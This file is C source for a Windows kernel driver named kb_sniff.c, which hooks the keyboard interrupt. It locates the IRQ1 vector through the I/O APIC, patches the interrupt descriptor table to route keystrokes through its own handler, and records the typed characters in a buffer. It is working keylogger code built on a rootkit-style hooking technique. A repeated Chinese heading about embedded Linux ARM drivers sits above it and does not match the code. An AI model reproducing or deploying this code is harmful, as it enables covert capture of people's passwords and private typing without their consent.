kb_sniff.c

嵌入式linux arm 驱动程序开发嵌入式linux arm 驱动程序开发嵌入式linux arm 驱动程序开发嵌入式linux arm 驱动程序开发

#include <ntddk.h>
#include <stdio.h>

#define	MAX_CHARS			256
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))


PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL		0x02
#define OBUFFER_FULL		0x01

// flags for keyboard status
#define	S_SHIFT				1
#define	S_CAPS				2
#define	S_NUM				4

int kb_status = S_NUM;

///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1)

// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY;

/* sidt returns idt in this format */
typedef struct
{
	unsigned short IDTLimit;
	unsigned short LowIDTbase;
	unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

int	kb_int = 0x93;

unsigned long old_ISR_pointer;
unsigned char keystroke_buffer[MAX_CHARS];
int kb_array_ptr=0;

unsigned char asciiTbl[]={
    0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,	//normal
    0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
    0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
    0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,	//caps
    0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
    0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
    0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,	//shift
    0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
    0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
    0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,	//caps + shift
    0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
    0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
    0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E
};

ULONG WaitForKbRead()
{
	int i = 100;
	UCHAR mychar;
	
	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);

		if(!(mychar & OBUFFER_FULL)) break;
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

ULONG WaitForKbWrite()
{
	int i = 100;
	UCHAR mychar;
	
	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);

		if(!(mychar & IBUFFER_FULL)) break;
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	IDTINFO		idt_info;
	IDTENTRY*	idt_entries;
	char _t[255];

	// load idt_info
	__asm	sidt	idt_info	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("UnHooking Interrupt...");

	// restore the original interrupt handler
	__asm cli
	idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer;
	idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
	__asm sti

	DbgPrint("UnHooking Interrupt complete.");
	
	DbgPrint("Keystroke Buffer is: ");
	DbgPrint("%s", keystroke_buffer);
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
	UCHAR	sch, ch = 0;
	int		off = 0;

	WaitForKbRead();
	sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	if (sch == 0xE0)
	{
		WaitForKbRead();
		sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	}

	if (kb_status & S_CAPS)
		off += 0x54;
	if (kb_status & S_SHIFT)
		off += 0x54 * 2;

	if ((sch & 0x80) == 0)	//make
	{
		if ((sch < 0x47) || 
			((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock
		{
			ch = asciiTbl[off+sch];
		}
		
		switch (sch)
		{
		case 0x3A:
			kb_status ^= S_CAPS;
			break;

		case 0x2A:
		case 0x36:
			kb_status |= S_SHIFT;
			break;

		case 0x45:
			kb_status ^= S_NUM;
		}
	}
	else		//break
	{
		if (sch == 0xAA || sch == 0xB6)
			kb_status &= ~S_SHIFT;
	}

	if (ch >= 0x20 && ch < 0x7F)
	{
		keystroke_buffer[kb_array_ptr++] = ch;
		keystroke_buffer[kb_array_ptr] = '\0';
		if (kb_array_ptr >= MAX_CHARS-1)
		{
			kb_array_ptr = 0;
		}
	}

	//put scancode back (works on PS/2)
	WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode	
	WaitForKbWrite();
	WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back
}

// naked functions have no prolog/epilog code - they are functionally like the 
// target of a goto statement
__declspec(naked) my_interrupt_hook()
{
	__asm
	{
		pushad					// save all general purpose registers
		pushfd					// save the flags register
		call	print_keystroke	// call function
		popfd					// restore the flags
		popad					// restore the general registers
		jmp		old_ISR_pointer	// goto the original ISR
	}
}

// Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf
int search_irq1()
{
	unsigned char *pIoRegSel;
	unsigned char *pIoWin;
	unsigned char ch;

	PHYSICAL_ADDRESS	phys;
	PVOID				pAddr;

	phys.u.LowPart = 0xFEC00000;
	pAddr = MmMapIoSpace(phys, 0x14, MmNonCached);
	if (pAddr == NULL)
		return 0;

	pIoRegSel = (unsigned char *)pAddr;
	pIoWin = (unsigned char *)(pAddr) + 0x10;

/*
{
	int  i;
	unsigned char j;

	for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)
	{
		*pIoRegSel = j;
		ch = *pIoWin;
		DbgPrint("RedTbl[%02d]: 0x%02X\n", i, ch);
	}
}
*/

	*pIoRegSel = 0x12;	// irq1
	ch = *pIoWin;

	MmUnmapIoSpace(pAddr, 0x14);

	return (int)ch;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	IDTINFO		idt_info;
	IDTENTRY*	idt_entries;
	char _t[255];
	
	theDriverObject->DriverUnload  = OnUnload; 

	kb_int = search_irq1();
	DbgPrint("kb_int = 0x%02X\n", kb_int);

	// load idt_info
	__asm	sidt	idt_info
	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("Hooking Interrupt...");
	old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset);
	
	// remember we disable interrupts while we patch the table
	__asm cli
	idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook;
	idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
	__asm sti

	DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08X\n", old_ISR_pointer, my_interrupt_hook);

	return STATUS_SUCCESS;
//	return STATUS_DEVICE_CONFIGURATION_ERROR;
}